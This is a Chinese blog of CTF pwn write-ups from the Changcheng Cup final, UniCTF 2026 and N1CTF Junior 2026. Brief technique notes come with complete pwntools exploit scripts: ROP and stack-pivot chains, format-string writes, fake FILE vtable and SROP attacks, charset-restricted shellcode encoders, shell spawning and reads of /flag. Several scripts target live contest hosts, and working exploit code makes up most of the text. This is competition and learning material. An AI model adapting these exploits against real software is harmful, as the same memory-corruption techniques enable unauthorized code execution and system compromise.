ItsFlicker 的小窝

第三届长城杯CCB总决赛 Pwn HeroEditor复现WP

Sat, 02 May 2026 00:00:00 GMT

第一次打长城杯决赛，喜提参与奖

感觉今年的题比去年的难……Pwn总共有7题，有4个全场零解

（为什么Pwn占比这么大？？）

HeroEditor (4解)

strtod

开幕雷击，搞半天不知道怎么得到想要的数字

检查0: 输入字符串不能含有x

把输入字符串用strtod转换为double，再用sprintf %ld得到新字符串

检查1: 输入字符串和新字符串不能含有相同字符

检查2: 输入字符串不能是普通的十六进制整数

这里需要知道strtod的特殊用法

特殊值

非数：NaN, NaN(1234)

无穷大：Inf, Infinity （大小写不敏感）

十进制浮点数

[whitespace] [+-] <digits> [. <digits>] [e/E [+-] <digits>]

例如-123.456e-2 -> -1.234560

十六进制浮点数

0[xX] hex-digits [. hex-digits] [p[+-] decimal-exponent]

以 0x 或 0X 开头（大小写均可）。
接着是一串十六进制数字（0-9 和 a-f / A-F），代表有效数字部分。
可选的小数点 . 可放在有效数字的任何位置。
最后必须跟一个二进制指数部分：p 或 P，后面是一个十进制整数（可带正负号），表示乘以 2 的多少次幂。

注意：指数是以 2 为底，而不是 10。这与十进制浮点常量 (e/E) 完全不同。

strtod 会按以下方式计算十六进制浮点数的数值：

将有效数字（忽略前缀 0x/0X 和 p/P）解析为一个十六进制整数或分数。例如 0x4 就是 4；0x1.8 是 1 + 8/16 = 1.5；0xA.4 是 10 + 4/16 = 10.25。

这个有理数再乘以 2^exponent，得到最终的 double 值。例如 0x4p5 = 4 × 2^5 = 4 × 32 = 128。 0x1.8p3 = 1.5 × 2^3 = 1.5 × 8 = 12.0。

该格式可以精确表示任何二进制浮点数，而且没有十进制浮点常量的舍入误差，常用于需要精准位表示的场合。

泄露

0X0.5p2 -> 1

0X1.7p5 -> 46

0X1.Dp7 -> 0xE8

0X4p5 -> 0x80

免费送的栈溢出写(0XE8)和读(0x30)，然而过滤了任何libc地址和栈地址，只能泄露PIE和Canary（当最高字节和次最高字节都为零，且第三高字节大于 0x6F 时过滤）

大部分函数结束时有_cyg_profile_func_exit，检查rsp还在不在0x7F0000000000~0x800000000000，且清空所有无关寄存器（主要是rdi rsi），导致无法完整栈迁移，也不能利用残留寄存器值

（赛场上卡在这了）

此时应该观察一下其他函数，发现打印菜单函数和功能2函数没有_cyg_profile_func_exit，而且以pop rbp ; ret返回

调试发现调用printf后，rdi是一个栈地址且指向另一个栈地址，此时跳到puts就可以泄露栈地址

之后伪造sub_142A的栈帧，从中间进绕过过滤泄露libc基址，构造一下栈迁移，读orw链

exp

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './game'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 0
if choice:
    port =   0
    target = ''
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
n2b     = lambda x                  :str(x).encode()

def send_double(content):
    sl(content.ljust(8, b'\x00'))

def menu1():
    ru(b'> ')
    send_double(b'0X0.5p2')

# debug('''
#       brva 0x14A2
#       brva 0x14C8
#       ''')

# debug('''
#       brva 0x204E
#       ''')

menu1()

ru(b'Draft size: ')
send_double(b'0X0.5p2') # 1

ru(b'Write your draft:\n')
s(b'A')

ru(b'Preview bytes: ')
send_double(b'0X1.7p5') # 46

ru(b'Archive preview:\n')
r(8)
r(8)
r(8)
canary = u64(r(8))
leak('canary')
r(8)
elf.address = pie = uu64(r(6)) - 0x21bd
leak('pie')
bss = elf.bss(0x800)

menu1()
ru(b'Draft size: ')
send_double(b'0X1.Dp7') # 0xE8
ru(b'Write your draft:\n')
payload = flat([0, 0, 0, canary, bss, pie + 0x19FB, pie + 0x215E, bss, pie + 0x1F8D])
s(payload.ljust(0xE8, b'\x00'))

ru(b'Preview bytes: ')
send_double(b'0')

ru(b'> ')
stack = uu64(r(6)) + 0x1d8 + 0x30
leak('stack')


ru(b'Draft size: ')
# send_double(b'0X1.Dp7') # 0xE8
send_double(b'0X4p5') # 0x80
ru(b'Write your draft:\n')
payload = flat([0, 0, 0, canary, stack, pie + 0x14AD, 
                0, stack, 0, 0x100, 0, 0,
                stack, pie + 0x1F8E])
s(payload.ljust(0x80, b'A'))

ru(b'Preview bytes: ')
send_double(b'0')

ru(b'The scribes seal the draft.\n')
r(0x78)
libc.address = uu64(r(6)) - (libc.sym['__libc_start_main'] + 139)
leak('libc.address')

rdi = libc.address + 0x10f78b
rsi = libc.address + 0x110a7d
rbx = libc.address + 0x0586e4
rdx = libc.address + 0x0b0153  # 0x00000000000b0153 : mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret


ru(b'Draft size: ')
send_double(b'0X1.Dp7') # 0xE8
ru(b'Write your draft:\n')
payload = flat([0, 0, 0, canary, stack,
                rsi, stack + 0x60,
                rbx, 0x200,
                rdx, 0, 0, 0, libc.sym['read']])
s(payload.ljust(0xE8, b'\x00'))

ru(b'Preview bytes: ')
send_double(b'0')

pause()

payload = flat([
    rdi, stack + 0x60 + 0x100, rsi, 0, libc.sym['open'],
    rdi, 3, rsi, stack + 0x60 + 0x200, rbx, 0x50, rdx, 0, 0, 0, libc.sym['read'],
    rdi, 1, rsi, stack + 0x60 + 0x200, rbx, 0x50, rdx, 0, 0, 0, libc.sym['write']
])

s(payload.ljust(0x100, b'\x00') + b'/flag\x00')



itr()

CreditMarket（11解）

glibc 2.43堆题，64字节堆溢出，主要是用到了一些新版本特性

2.41: calloc会从tcache里申请
2.42: 修复所有的largebin attack
2.43: tcache_perthread_struct初始化推迟到第一次tcache free
tcache_perthread_struct的计数器改为tcache的剩余容量，从16开始减

另外改小top chunk的间接free似乎也有变化，满足smallbin大小时先进smallbin而不是tcache

详细wp偷懒不写了

UniCTF 2026 Pwn 部分题解

Sat, 31 Jan 2026 00:00:00 GMT

还是太菜了，只能出很多人做出的题

似乎有一些有趣的非预期

EzIO

fclose时会调用_IO_file_finish

libc版本为2.23，直接伪造vtable

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './EzIO'
elf = ELF(file)
libc = ELF('./2.23-0ubuntu11.3_amd64/libc.so.6')

choice = 1
if choice:
    port =   12205
    target = 'nc1.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

debug('b *0x4011C2')

addr = 0x404060

fake_io = flat(
    {
        0x0: 0xfbad1800,
        0x10: 0x4011CE,     # _IO_file_finish
        0x88: elf.bss(),    # lock writable addr
        0xD8: addr,         # vtable
    },
    filler=b"\x00"
)

s(fake_io)

itr()

Micro?Macro!

初始时在rand_slot放置values地址，类型为1

操作一和操作二结合可以创造指定偏移的地址槽

用操作三任意读，读取got.puts获得libc地址

用操作四任意写，把system槽位类型改为2

最后操作五调用system

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './vuln'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   37412
    target = 'nc1.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

opcodes = [0x3a,0x7e,0x91,0x52,0xc4,0x1b,0x68,0xaf]

# handler0：`SET_IMM(i, imm64)`
def op0(arg1, arg2):
    sl(f'inst {opcodes[0]} {arg1} {arg2}'.encode())

# handler1：`ADD(dst, a, b)`
# type[a] == 1
def op1(arg1, arg2, arg3):
    sl(f'inst {opcodes[1]} {arg1} {arg2} {arg3}'.encode())

# handler2：`CMOV_ENTRY(dst, x, y)`
def op2(arg1, arg2, arg3):
    sl(f'inst {opcodes[2]} {arg1} {arg2} {arg3}'.encode())

# handler3：`LOAD(dst, ptr_slot)`
def op3(arg1, arg2):
    sl(f'inst {opcodes[3]} {arg1} {arg2}'.encode())

# handler4：`STORE(ptr_slot, val_slot)`
def op4(arg1, arg2):
    sl(f'inst {opcodes[4]} {arg1} {arg2}'.encode())

# handler5：`CALL(func_slot, arg_slot)`
# type[func_slot] == 2
def op5(arg1, arg2):
    sl(f'inst {opcodes[5]} {arg1} {arg2}'.encode())

# handler6：`PRINT(i)`
def op6(arg1):
    sl(f'inst {opcodes[6]} {arg1}'.encode())

ru(b'> ')
sl(b'dbg')
ru(b'rand_slot = ')
rand_slot = int(rl())
leak('rand_slot')

# op6(rand_slot)
op0(0, -0x138)
op1(1, rand_slot, 0)
op3(2, 1) # puts
op0(0, -0x32180)
op1(2, 2, 0) # system
op0(0, 32)
op1(3, rand_slot, 0)
op0(0, 2)
op4(3, 0)
op0(0, 40)
op1(3, 3, 0)
op0(4, u64(b'/bin/sh\x00'))
op5(2, 3)

debug('brva 0x24CC')

sl(b'run')

itr()

# UniCTF{H4nDrn4d3_VM&013fu5cA7ioN_M33tS_H4Ndcr4F73cl_3><pl01T2005900373570621440}

speak

输入name时溢出，printf泄露libc地址，栈地址，程序地址

然后把printf自身的返回地址改为add rsp, 0x8; ret造成重叠，再跳回read，就能写orw的ROP链

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   39977
    target = 'nc1.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

debug('brva 0x01478\nbrva 0x0014AA')

sa(b'name: ', b'A'*32 + b'%2$p\n%9$p\n%45$p\n')
libc.address = int(rl(), 16) - (libc.sym['_IO_2_1_stdout_'] + 131)
leak('libc.address')
stack = int(rl(), 16) - 0xd8
leak('stack')
pie = int(rl(), 16) - elf.sym['main']
leak('pie')

s(fmtstr_payload(6, {stack-0x8: pie + 0x001016, stack+0x8: pie + 0x001496}))
r(1)

pop_rdi_ret = libc.address + 0x10f78b
pop_rsi_ret = libc.address + 0x110a7d
pop_rbx_ret = libc.address + 0x0586e4
mov_rdx_rbx_pop_3_ret = libc.address + 0x0b0133

payload = flat(
    b"flag".ljust(8, b'\x00'),
    pop_rdi_ret,
    stack,
    pop_rsi_ret,
    0,
    libc.sym['open'],
    pop_rdi_ret,
    3,
    pop_rsi_ret,
    stack,
    pop_rbx_ret,
    0x50,
    mov_rdx_rbx_pop_3_ret,
    0,
    0,
    0,
    libc.sym['read'],
    pop_rdi_ret,
    1,
    pop_rsi_ret,
    stack,
    pop_rbx_ret,
    0x50,
    mov_rdx_rbx_pop_3_ret,
    0,
    0,
    0,
    libc.sym['write']
)
s(payload)

itr()

什么？我不是汇编高手吗？

利用程序给的长跳跃指令E9，E9 01 00 00 00即为jmp $+6，跳到下一个E9后面

用短跳跃指令EB 01跳过E9，这样每次就有两字节的自由操作

用pop rax; mov al, 0xFB; mov ah, 0x11; push rax; ret跳转到后门

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './challenge'
elf = ELF(file)
# libc = ELF('./lib/libc.so.6')

choice = 1
if choice:
    port =   24701
    target = 'nc1.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

debug('b *0x401399')

addr = int(rl(), 16)
leak('addr')

# e9 01 00 00 00           jmp $+6

payload = b'\x01\x00\x00\x00'
payload += asm('pop rax\nnop\njmp $+3')
payload += asm('mov al, 0xFB\njmp $+3')
payload += asm('mov ah, 0x11\njmp $+3')
payload += asm('push rax\nret\njmp $+3')

sl(payload)

itr()

Sur prize

由于gets的参数是用rsp定位，似乎不能简单的栈迁移

先跳转到wutihave获得flag文件名称

gets结束后rdi会指向一个神秘结构体，此时再gets一次就能往这里输入

但是gets结束后这个结构体前0x10会被清零，此时dil=0x20

这里使用了add dil, dil让dil=0x40，成功绕过

指定参数后使用leimicc

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './vuln'
elf = ELF(file)
# libc = ELF('./lib/libc.so.6')

choice = 1
if choice:
    port =   21630
    target = 'nc1.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

debug('b *0x401778')

r(0xfff)
r(0xfff)
r(0xfff)

s(b'\n')

get_name = False
if get_name:
    sl(p64(0x401653))
    itr()
    exit()

# 0x00000000004011ea : add dil, dil ; loopne 0x401255 ; nop ; ret

sl(p64(elf.plt['gets']) + p64(0x4011ea) + p64(0x4016A2))

sl(b'\x00'*0x20 + b'flag_d82b9eb327dea6fc67ef26a7bcaf8147')

itr()

# UniCTF{♫♫♫nEv3R_G0nN4_q1v3_Y0u_Up♪♪♪N3V3r_G0NnA_L37_g3t$_D0vvn♫♫♫182008523222735130624}

smcode

仅用三种字符实现 x86_64 架构的任意 shellcode-安全KER - 安全资讯平台

shellcode字节必须为斐波那契数列中的项

利用这篇文章可以做到0x00``0x01``0x05实现任意shellcode

先造一个read，再读入shellcraft.sh()，防止生成的shellcode太长

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
# libc = ELF('./lib/libc.so.6')

choice = 1
if choice:
    port =   33506
    target = 'nc1.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

current_eax = 0

def next_step(value):
    """ 每个字节每次加 5、1 或 0 """
    n = 0
    for i in range(4):
        if (value >> (i * 8)) & 0xff >= 5:
            n |= (5 << (i * 8))
        elif (value >> (i * 8)) & 0xff >= 1:
            n |= (1 << (i * 8))
    return n

def add_eax(value):
    """ 将 eax 加上指定的值 """
    payload = b''
    while value > 0:
        n = next_step(value)
        payload += b'\x05' + p32(n)
        value -= n
    return payload

def asm_015(shellcode):
    """ 将 shellcode 转换成 0x00、0x01、0x05 三种字符 """
    # 不足 4 字节的目标指令补充 nop 指令
    if len(shellcode) < 4:
        shellcode = shellcode.ljust(4, b'\x90')
    # 特殊处理超过 4 字节且含有其他字符的目标指令
    if len(shellcode) > 4:
        for c in shellcode[4:]:
            if c not in (0, 1, 5):
                return asm_long_015(shellcode)
    # 当前 eax 距离目标指令的差值
    global current_eax
    eax_offset = u32(shellcode[:4]) - current_eax
    if eax_offset < 0:
        eax_offset += 0x100000000
    # 预留第一步的值，以减少 shellcode 的总体长度
    reserved = next_step(eax_offset)
    eax_offset -= reserved
    # 设置 eax 为目标指令
    payload = add_eax(eax_offset)
    current_eax = (current_eax + eax_offset) & 0xffffffff
    # 将 eax 加到目标指令
    payload += b'\x01\x05\x00\x00\x00\x00'  # add [rip], eax
    # 目标指令预留的值
    payload += p32(reserved)
    # 目标指令超出 4 字节的部分(全是 0x00、0x01、0x05 之一)
    payload += shellcode[4:]
    return payload

def asm_long_015(shellcode):
    """ 将超长的 shellcode 转换成 0x00、0x01、0x05 三种字符(会破坏 rbp 寄存器) """
    # 添加 ret 指令，并补充为 2 的整数倍长度
    shellcode += b'\xC3'
    if len(shellcode) % 2 == 1:
        shellcode += b'\x90'
    # 暂不支持大于等于 0x80 字节的超长指令，尽量将指令拆成 4 字节一组以减少 shellcode 长度
    assert len(shellcode) < 0x80
    # 将 rbx 入栈，往 rbp 处构造出超长 shellcode
    payload = asm_015(b'\x53\x48\x8D\x2D\x00\x00\x00\x00')  # push rbx; lea rbp, [rip]
    for i in range(0, len(shellcode), 2):
        payload += asm_015(b'\x66\xBB' + shellcode[i:i+2])  # mov bx, 0xXXXX
        payload += asm_015(b'\x66\x89\x5D' + bytes([i]))    # mov [rbp + i], bx
    # 将 rbx 出栈，调用 rbp 处的超长 shellcode
    payload += asm_015(b'\x5B\xFF\xD5\x90')                 # pop rbx; call rbp; nop
    return payload

# debug('brva 0x001461')

ru(b'shellcode\n')

sc = asm_015(asm('push 0'))
sc += asm_015(asm('push rbx'))
sc += asm_015(asm('push 0x1000'))
sc += asm_015(asm('pop rdx'))
sc += asm_015(asm('pop rsi'))
sc += asm_015(asm('pop rax; syscall'))

s(sc)

ru(b'[+]\n')

s(b'\x90'*0x45c + asm(shellcraft.sh()))

itr()

简单的pwn

输出栈上指定偏移的5字节，泄露libc地址（因为按0x1000对齐）

在任意位置读入0xC0，打fsop应该是不够的，无法同时搞定_flags和vtable

打eop，在.fini_array存储的函数地址下断点，反向追踪libc中存储地址的位置

执行到这里的时候，rbp就指向起始点，可以用leave; ret栈迁移执行ROP链（one gadget都不好用）

实验发现，对应位置的0x18地址不能修改，所以用pop rdi; pop rbp; ret跳过这里

值得注意的是，开启aslr和不开启aslr的时候，这个地址与libc基地址的偏移是不一样的

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './PWN'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   26476
    target = 'nc1.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file, aslr=True)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

# debug('brva 0x00124E')
# debug('brva 0x12D0')
# debug('b *0x155555522e65\n')
# debug('b g2')

s(p64(0x29))

libc.address = uu64(b'\xa8'+r(5)) - 0x29ca8
leak('libc.address')

addr = libc.address + 0x22f310 - 0x8
leak('addr')

s(p64(addr))

payload = flat({
    0x0: libc.address + 0x054c47,                   # leave; ret
    0x8: addr-0x3da0,
    # 0x10: libc.address + 0xfb062
    # 0x10: libc.address + 0x02a145,
    0x10: libc.address + 0x02a33c,                  # pop rdi; pop rbp; ret
    0x18: libc.search(b'/bin/sh\x00').__next__(),
    0x20: libc.address + 0x22f8f0,
    0x28: libc.sym['system']
}, filler=b'\x00')

s(payload)

itr()

shadow

程序对信号11 (SIGSEGV)实现了自定义处理，而handler函数栈帧下方就是保存的寄存器等信息，利用shadow还原返回地址就可以无限srop

首先用第一个read对rbp进行偏移（一个1/16的爆破），使得第二个read指向自身的返回地址，此时再进入sub_1460但跳过push rbp; mov rbp, rsp，就可以让shadow保存一个返回地址为0

故技重施，这次第二个read维持原本的程序流，printf泄露出程序基址，然后shadow将返回地址设置为0，触发SIGSEGV，进入handler

之后再用printf泄露libc基址，然后orw

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   25854
    target = 'nc1.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file, aslr=False)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

# debug('handle SIGSEGV pass\nbrva 0x145E')

s(b'A'*0x10 + b'\x60')

sleep(0.5)

s(b'\x68')

sleep(0.5)

# debug('handle SIGSEGV pass\nbrva 0x145E')

s(b'A'*0x10 + b'\x50')

# debug('handle SIGSEGV pass\nbrva 0x15D4')

sleep(0.5)

s(b'\xee')

sleep(0.5)

pie = uu64(r(6)) - 0x1509
leak('pie')

bss = pie + elf.bss(0x800)
leak('bss')

frame = SigreturnFrame()
frame.rip = pie + 0x0014F5
frame.rsi = pie + 0x003FB8
frame.rsp = bss

s(b'A'*0x20 + bytes(frame) + p64(0))

libc.address = uu64(r(6)) - libc.sym['read']
leak('libc.address')

# debug('handle SIGSEGV pass\nb open')

# frame = SigreturnFrame()
# frame.rip = pie + 0x0014F5
# frame.rsi = libc.address + 0x20ad58
# frame.rsp = bss

# s(b'A'*0x20 + bytes(frame) + p64(0))

# stack = uu64(r(6))
# leak('stack')

sleep(0.5)

frame = SigreturnFrame()
frame.rip = libc.sym['open']
frame.rdi = bss - 0x5c0
frame.rsi = 0
frame.rsp = bss

s(b'/flag'.ljust(0x20, b'\x00') + bytes(frame) + p64(0))

frame = SigreturnFrame()
frame.rip = libc.sym['read']
frame.rdi = 3
frame.rsi = bss + 0x100
frame.rdx = 0x50
frame.rsp = bss

s(b'A'*0x20 + bytes(frame) + p64(0))

frame = SigreturnFrame()
frame.rip = libc.sym['write']
frame.rdi = 1
frame.rsi = bss + 0x100
frame.rdx = 0x50
frame.rsp = bss

s(b'A'*0x20 + bytes(frame) + p64(0))


itr()

N1CTF Junior 2026 1/2 Pwn 全题解

Tue, 27 Jan 2026 00:00:00 GMT

好久没写题解了

Updated: f0rm@t?赛后复现

ez_canary

client有5次连接同一server的机会

当输入不为1时，可以覆盖saved rbp和返回地址

然后用0x200的read把got.__stack_chk_fail写为空函数，就随便玩了

这里rbp刚刚好，没有破坏got.write

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './client'
elf = ELF('./server')
libc = ELF('../libc-2.31.so')

choice = 1
port =   13774
target = '60.205.163.215'
if choice:
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

ru(b'functions?\n')
sl(b'2')
s(p64(0x404030+64) + p64(0x401451))

s(p64(0x4018B4)*8 + p64(elf.bss(0x800)) + p64(0x401451))

pause()

s(p64(0)*9 + p64(0x401893) + p64(elf.got['puts']) + p64(elf.plt['puts']))

ru(b'This is canary!\n')
ru(b'[Server]: ')
libc.address = uu64(r(6)) - libc.sym['puts']
leak('libc.address')

p.close()
if choice:
    p = remote(target, port)
else:
    p = process(file)

pause()

ru(b'functions?\n')
sl(b'2')
s(p64(0x404030+64) + p64(0x401451))

s(p64(0x4018B4)*8 + p64(elf.bss(0x800)) + p64(0x401451))

pause()

s(p64(0)*9 + p64(0x401894) + p64(0x401893) + p64(libc.search(b'/bin/sh\x00').__next__()) + p64(libc.sym['system']))

itr()

Old_5he1lc0de

参考了一下quintuple-read的解法

需要用两种不同的字符集实现orw，且两次使用字节种类最多15

初始时只剩rdx和rip指向内存块的起点

第一次mov rbx, rdx，用rbx作为指针，目标代码和生成代码在同一个地方

用add byte ptr [rbx], 1对当前字节加一，add bl, 1将指针移动到下一位

解码完成后起始位置就是orw，jmp rdx即可

【使用了9种字节】

第二次用rdx作为指针，目标代码紧跟在生成代码后，无需跳转

用inc byte ptr [rdx]对当前字节加一，inc dl将指针移动到下一位

开始时add dx,0x2929，用无害指令将生成代码补齐

【使用了6种字节】

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './chal'
elf = ELF(file)

choice = 1
if choice:
    port =   19500
    target = '60.205.163.215'
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))

# debug('brva 0x0011ED')

# 无push+pop版本
shellcode = '''
    mov qword ptr [rdx+0x5000], 0x67616c66
    /* call open('rsp', 'O_RDONLY', 'rdx') */
    mov al, 2
    lea rdi, [rdx+0x5000]
    xor esi, esi /* O_RDONLY */
    syscall
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    xor rax, rax
    mov al, 40
    xor rdi, rdi
    mov dil, 1
    cdq /* rdx=0 */
    syscall
'''
